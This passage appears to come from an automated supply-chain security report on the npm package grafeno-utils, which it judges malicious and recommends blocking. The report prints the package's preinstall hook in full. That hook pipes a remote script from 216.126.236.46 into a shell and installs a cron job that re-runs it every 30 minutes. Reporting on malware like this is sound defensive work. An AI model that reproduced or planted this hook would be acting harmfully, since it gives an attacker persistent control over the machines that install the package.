It also establishes recurring cron-based persistence. - **Trigger:** npm installation, before the package is installed - **Impact:** An attacker controlling the remote host can run arbitrary commands on the installing machine and retain recurring execution. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-28T23:00:29.857Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Preinstall remote shell execution and cron persistence - **Attack narrative:** During installation, the preinstall command invokes curl for a script hosted at 216.126.236.46 and pipes it into a Bash shell. It then rewrites the current user's crontab to execute the same remote script every 30 minutes. Both actions run without an explicit user command and suppress errors. The package's JavaScript entry point does not require this behavior. - **Rationale:** This is a concrete install-time remote-code-execution and persistence chain unrelated to the package's exported utilities. The package should be blocked. - **Files touched:** package.json, /bin/bash, user crontab - **Network endpoints:** 216.126.236.46/x.sh ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The preinstall hook downloads a remote shell script and immediately runs it with Bash., The same automatic hook adds a cron entry that reruns the remote script every 30 minutes., Errors are deliberately ignored, reducing visibility of the failed or successful actions. - **Evidence against:** The runtime entry point only exports two identity-style utility functions., No benign install-time setup is present to justify the remote execution or cron persistence. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook downloads a remote shell script and immediately runs it with Bash. Public source snippet (untrusted): ```json "preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\"" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** grafeno-utils - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-08-28T22:47:52.829Z - **Package first seen:** 2026-08-28T23:00:29.857Z - **Package last seen:** 2026-08-28T23:00:29.857Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** Utility functions for Grafeno - **Author:** devx@grafeno.digital - **Keywords:** grafeno, utils - **Artifact files:** 2 - **Artifact unpacked size:** 586 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
